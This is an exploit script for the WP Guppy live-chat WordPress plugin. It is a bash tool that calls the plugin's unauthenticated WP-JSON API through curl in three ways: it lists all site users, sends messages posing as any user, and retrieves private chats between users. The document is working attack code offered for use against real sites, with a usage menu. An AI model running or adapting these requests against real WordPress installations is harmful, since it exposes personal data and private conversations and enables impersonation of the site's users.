WP Guppy < 1.3 - Sensitive Information Disclosure

#!/bin/bash
#Exploit Title: Wordpress Plugin WP Guppy A live chat - WP-JSON API Sensitive Information Disclosure
#Exploit Author: Keyvan Hardani
#Date: 22/11/2021
#Vendor Homepage: https://wp-guppy.com/
#Version: up to 1.1
#Tested on: Kali Linux - Windows 10 - Wordpress 5.8.x and apache2
#Usage ./exploit.sh -h

Help()
{
   # Display Help
   echo "Usage"
   echo
   echo "Wordpress Plugin WP Guppy - A live chat - WP_JSON API Sensitive Information Disclosure"
   echo
   echo "Option 1: Get all users ( ./exploit.sh 1 domain.com)"
   echo "Option 2: Send message from / to other users ( ./exploit.sh 2 domain.com 1493 1507 ) => Senderid=1493 & Receiverid=1507" 
   echo "Option 3: Get the chats between users ( ./exploit.sh 3 domain.com 1507 1493) => Receiverid=1493 & Userid= 1493" 
   echo "-h  Print this Help."
   echo
}

while getopts ":h" option; do
   case $option in
      h) # display Help
         Help
         exit;;
   esac
done

if [ $1 == 1 ]
	then
	curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search=" | python -m json.tool
fi

if [ $1 == 2 ]
	then
	curl -s -X POST --url "https://$2/wp-json/guppy/v2/send-guppy-message" --data '{"receiverId":"'$3'","userId":"'$4'","guppyGroupId":"","chatType":1,"message":"test","replyTo":"","latitude":"","longitude":"","messageType":0,"messageStatus":0,"replyId":"","timeStamp":1637583213,"messageSentTime":"November 22, 2021","metaData":{"randNum":5394},"isSender":true}' -H 'Content-Type: application/json'| python -m json.tool
fi
if [ $1 == 3 ]
	then
	curl -s --url "https://$2/wp-json/guppy/v2/load-guppy-user-chat?offset=0&receiverId=$3&userId=$4&chatType=1" | python -m json.tool
fi